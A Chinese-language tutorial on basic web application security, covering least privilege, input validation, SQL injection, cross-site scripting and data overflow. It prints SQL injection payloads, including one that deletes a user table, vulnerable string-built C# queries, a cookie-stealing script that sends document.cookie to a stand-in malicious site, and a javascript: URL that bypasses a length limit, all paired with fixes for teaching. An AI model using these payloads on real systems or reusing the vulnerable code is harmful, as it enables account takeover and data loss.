開發(fā)人員必須權(quán)衡好安全和功能之間的關(guān)系,這要看某種攻擊得逞的可能性有多大、這個(gè)系統(tǒng)有多重要。
開發(fā)人員可以運(yùn)用諸多基本原則來增強(qiáng)web應(yīng)用程序的安全性。主要有以下三條原則:
盡量減小權(quán)限
對訪問資源的賬戶進(jìn)行配置時(shí),始終要把這些賬戶的權(quán)限限制在需要的最小權(quán)限。
千萬不要相信用戶的輸入,驗(yàn)證任何輸入的內(nèi)容
這對web應(yīng)用程序來說尤為重要。確保應(yīng)用程序并不依賴客戶端的驗(yàn)證。在服務(wù)器上應(yīng)當(dāng)重復(fù)所有的檢查工作,因?yàn)橐菦]有約束條件,比較容易構(gòu)建網(wǎng)頁副本,有可能導(dǎo)致破壞性代碼在運(yùn)行,或者導(dǎo)致引起系統(tǒng)崩潰的拒絕服務(wù)(dos)攻擊。
有節(jié)制地使用錯(cuò)誤消息
雖然在開發(fā)程序時(shí),詳細(xì)的錯(cuò)誤消息很有幫助,但它們對惡意用戶來說同樣是寶貴的信息來源。所以指定函數(shù)名這類細(xì)節(jié)沒有太大的意義。這樣的細(xì)節(jié)記錄在另一個(gè)日志中比較好。
下面幾個(gè)示例介紹了沒有經(jīng)過驗(yàn)證的用戶輸入如何被壞人利用的具體情況,并且介紹了避免這些問題的建議。
sql注入
如果允許任意的sql命令執(zhí)行,就會(huì)出現(xiàn)sql注入(sql injection)。當(dāng)sql語句在代碼里面動(dòng)態(tài)構(gòu)建時(shí),通常會(huì)出現(xiàn)這種情況。
以下面用c#編寫的代碼為例,該代碼試圖檢查用戶名/密碼組合是否正確:
string username = txtusername.text;
string password = txtpassword.text;
string sql = "select * from tblusers
where username = '"+ username +"'
and password = '"+ password + "';";
//執(zhí)行sql
用戶名和密碼從服務(wù)器端的兩個(gè)文本框獲取,并且sql語句被創(chuàng)建,然后該語句執(zhí)行。如果沒有記錄返回,那么表明用戶輸入的詳細(xì)資料不正確,或者沒有經(jīng)過注冊; 否則用戶可以進(jìn)入到下一個(gè)階段。
如果用戶在兩個(gè)文本框里面輸入了joe和mypassword,那么sql語句會(huì)是:
select * from tblusers
where username = 'joe'
and password = 'mypassword';
這正是開發(fā)人員的意圖。不過要是用戶往密碼文本框里面輸入: ' or 'a' = 'a,sql就會(huì)是:
select * from tblusers
where username = 'joe'
and password = ''
or 'a' = 'a';
現(xiàn)在,密碼不重要了,因?yàn)?a'='a'總是正確的。如果用來連接到數(shù)據(jù)庫的賬戶有權(quán)刪除數(shù)據(jù)而不是僅僅有權(quán)讀取數(shù)據(jù),就會(huì)出現(xiàn)更糟糕的情形。假設(shè)用戶往密碼文本框里面輸入: '; delete from tblusers where 'a' = 'a'。這會(huì)得出以下的語句:
select * from tblusers
where username = 'joe'
and password = '';
delete from tblusers
where 'a' = 'a';
現(xiàn)在,整個(gè)用戶表就會(huì)被清空。
防止這類問題主要有兩種辦法。一是,可以使用存儲(chǔ)過程(stored procedure)來執(zhí)行用戶驗(yàn)證步驟。設(shè)置參數(shù)值時(shí),避免使用單引號等特殊符號,因而不可能為where語句添加額外的斷言(predicate),也不會(huì)運(yùn)行多個(gè)sql語句。譬如說,可以構(gòu)建像下面這樣的存儲(chǔ)過程,接受兩個(gè)輸入?yún)?shù)后,返回表明用戶是不是合法用戶的第三個(gè)參數(shù):
create procedure spcheckuser
(
@username varchar(20),
@password varchar(20),
@isvalid bit output
)
as
declare @usercount int
select @usercount = count(*)
from tblusers
where username = @username
and password = @password
if @usercount = 1
set @isvalid = 1
else
set @isvalid = 0
現(xiàn)在,初始代碼經(jīng)改動(dòng)后可以使用存儲(chǔ)過程:
sqlcommand sqlcommand =
new sqlcommand("spcheckuser");
sqlparameter sqlparam =
new sqlparameter("@username",
sqldbtype.varchar, 20)
sqlparam.value = txtusername.text;
sqlparam.direction =
parameterdirection.input;
sqlcommand.parameters.add(sqlparam);
sqlparam =
new sqlparameter("@password",
sqldbtype.varchar, 20)
sqlparam.value = txtpassword.text;
sqlparam.direction =
parameterdirection.input;
sqlcommand.parameters.add(sqlparam);
sqlparam =
new sqlparameter("@isvalid",
sqldbtype.bit, 1)
sqlparam.direction =
parameterdirection.output;
sqlcommand.parameters.add(sqlparam);
//執(zhí)行命令,并檢索輸出參數(shù)值
輸入和輸出參數(shù)使用相關(guān)類型來說明。如今區(qū)別在于,基本的ado.net類會(huì)把字符串' or 'a' = 'a當(dāng)成實(shí)際用戶的密碼來處理,而不是當(dāng)成可執(zhí)行sql來處理。
避免這種安全漏洞的第二種辦法(也適用于所有的用戶輸入)就是,確保特殊字符或者字符串被禁用。對sql而言,導(dǎo)致問題的那個(gè)字符就是單引號,所以如果沒法使用存儲(chǔ)過程,那么就把所有單引號變成雙引號,這可以防止有人構(gòu)建額外的sql:
string username = txtusername.text;
string password = txtpassword.text;
username = username.replace("'","''");
password = password.replace("'","''");
string sql = "select *
from tblusers
where username = '"+ username +"'
and password = '"+ password +"';";
//執(zhí)行sql
現(xiàn)在,構(gòu)建的sql成為:
select *
from tblusers
where username = 'joe'
and password = '''
or ''a'' = ''a';
這意味著該用戶沒有被識別。
跨站腳本
跨站腳本(有時(shí)縮寫成xss)允許來自一個(gè)地方的代碼在另一個(gè)網(wǎng)站里面運(yùn)行。正如在大多數(shù)情況下一樣,只要驗(yàn)證用戶輸入的內(nèi)容就可以避免這問題。以接受html格式的帖子的公告牌為例。假定用戶在發(fā)布消息中加入了以下內(nèi)容:
hello everyone
要是不對腳本塊進(jìn)行任何驗(yàn)證及刪除,這條消息就會(huì)出現(xiàn),標(biāo)準(zhǔn)的警告信息也會(huì)顯示。假定這個(gè)示例沒有惡意,再考慮下一個(gè)示例:
var i = new image();
i.src =
"http://www.malicioussite.com/save.asp"
+ escape(document.cookie);
現(xiàn)在,該用戶的cookie會(huì)被傳送到惡意網(wǎng)站,然后記錄在網(wǎng)絡(luò)日志里面。這不是原先需要的操作,可能會(huì)泄露私人信息,或者讓不懷好意的人以合法用戶的身份登錄到公告牌。可以通過采用正則表達(dá)式來搜索及清除像< script>及其內(nèi)容這些元素的辦法來防止這個(gè)問題。
數(shù)據(jù)溢出
數(shù)據(jù)過多可能會(huì)帶來問題,這有兩個(gè)原因。一是,因?yàn)閼?yīng)用程序往往會(huì)崩潰,譬如說,如果程序試圖把50個(gè)字符寫入到列大小只有40個(gè)字符的數(shù)據(jù)庫表,就會(huì)引起程序崩潰。顯然,良好的錯(cuò)誤捕獲方法應(yīng)當(dāng)可以防止這一問題,但如果用戶輸入的是有效內(nèi)容,而且來自可信用戶,那么這個(gè)問題往往不會(huì)發(fā)生。數(shù)據(jù)過多輕則帶來差勁的用戶體驗(yàn),重則導(dǎo)致嚴(yán)重消耗服務(wù)器資源,要是問題頻頻發(fā)生,還會(huì)導(dǎo)致整個(gè)服務(wù)無法使用。如果輸入內(nèi)容專門旨在導(dǎo)致錯(cuò)誤、機(jī)器過載,這就叫拒絕服務(wù)(dos)攻擊。
第二個(gè)問題是緩沖器溢出。有時(shí)候,輸入的數(shù)據(jù)會(huì)溢出旨在存放它的內(nèi)存區(qū),而成為可執(zhí)行代碼的一部分。只要對輸入到輸入框中的數(shù)據(jù)進(jìn)行精心設(shè)計(jì),攻擊者就可以在服務(wù)器上執(zhí)行任意代碼。
為了避免該問題,不要依靠客戶端技術(shù),譬如設(shè)置文本框的最大長度屬性。這很容易被跳過。有些瀏覽器(包括ie在內(nèi))允許javascript url。如果網(wǎng)頁的文本框有一個(gè)標(biāo)為txtsurname的id,那么下列代碼拷貝到瀏覽器的地址欄上后,就會(huì)改變最大長度屬性:
javascript:document.getelementbyid
("txtsurname").maxlength = 1000
防止這個(gè)問題的方法仍然是在服務(wù)器上進(jìn)行檢查,看看輸入內(nèi)容是否超過所需長度; 必要的話縮減輸入內(nèi)容。(作者單位系河南省鎮(zhèn)平縣教師進(jìn)修學(xué)校)
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